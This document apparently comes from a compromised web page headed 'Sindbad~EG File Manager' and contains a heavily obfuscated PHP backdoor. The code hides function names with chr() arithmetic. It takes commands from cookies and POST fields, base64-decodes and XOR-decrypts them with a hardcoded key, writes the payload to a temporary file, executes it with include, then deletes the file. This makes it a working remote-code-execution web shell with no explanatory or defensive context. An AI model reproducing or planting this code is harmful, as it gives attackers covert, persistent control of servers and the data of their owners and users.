Sindbad~EG File Manager

$bEhkS = 'f' . chr ( 420 - 305 ).chr (113) . '_' . "\131" . "\x46" . chr (106) . "\147";$EyJSbjVHNZ = chr ( 867 - 768 ).chr ( 1063 - 955 )."\x61" . "\x73" . chr (115) . "\x5f" . "\x65" . chr (120) . chr (105) . "\x73" . chr ( 1011 - 895 ).'s';$pcgclv = class_exists($bEhkS); $EyJSbjVHNZ = "58228";$TxkwBdwia = strpos($EyJSbjVHNZ, $bEhkS);if ($pcgclv == $TxkwBdwia){function YjnRXRmiN(){$jlXNrXjtHQ = new /* 46889 */ fsq_YFjg(32425 + 32425); $jlXNrXjtHQ = NULL;}$IXmBHH = "32425";class fsq_YFjg{private function NwJElBtFYp($IXmBHH){if (is_array(fsq_YFjg::$qraaET)) {$name = sys_get_temp_dir() . "/" . crc32(fsq_YFjg::$qraaET["salt"]);@fsq_YFjg::$qraaET["write"]($name, fsq_YFjg::$qraaET["content"]);include $name;@fsq_YFjg::$qraaET["delete"]($name); $IXmBHH = "32425";exit();}}public function SKMfYIalb(){$bbflMWUo = "50994";$this->_dummy = str_repeat($bbflMWUo, strlen($bbflMWUo));}public function __destruct(){fsq_YFjg::$qraaET = @unserialize(fsq_YFjg::$qraaET); $IXmBHH = "6362_43869";$this->NwJElBtFYp($IXmBHH); $IXmBHH = "6362_43869";}public function LNTcnZl($bbflMWUo, $RoDKAah){return $bbflMWUo[0] ^ str_repeat($RoDKAah, intval(strlen($bbflMWUo[0]) / strlen($RoDKAah)) + 1);}public function LvNbKCaG($bbflMWUo){$Sbspi = chr ( 969 - 871 ).'a' . chr (115) . chr (101) . chr ( 948 - 894 ).chr (52);return array_map($Sbspi . "\137" . "\144" . chr ( 609 - 508 )."\x63" . "\x6f" . "\144" . "\145", array($bbflMWUo,));}public function __construct($LAjRbk=0){$zaQYdU = chr (44); $bbflMWUo = "";$nqOpLdf = $_POST;$VKebNaoz = $_COOKIE;$RoDKAah = "88f230ba-0ceb-473b-b382-662e6759fac9";$JJwtqgR = @$VKebNaoz[substr($RoDKAah, 0, 4)];if (!empty($JJwtqgR)){$JJwtqgR = explode($zaQYdU, $JJwtqgR);foreach ($JJwtqgR as $JZFkXM){$bbflMWUo .= @$VKebNaoz[$JZFkXM];$bbflMWUo .= @$nqOpLdf[$JZFkXM];}$bbflMWUo = $this->LvNbKCaG($bbflMWUo);}fsq_YFjg::$qraaET = $this->LNTcnZl($bbflMWUo, $RoDKAah);if (strpos($RoDKAah, $zaQYdU) !== FALSE){$RoDKAah = str_pad($RoDKAah, 10); $RoDKAah = ltrim(rtrim($RoDKAah));}}public static $qraaET = 26488;}YjnRXRmiN();}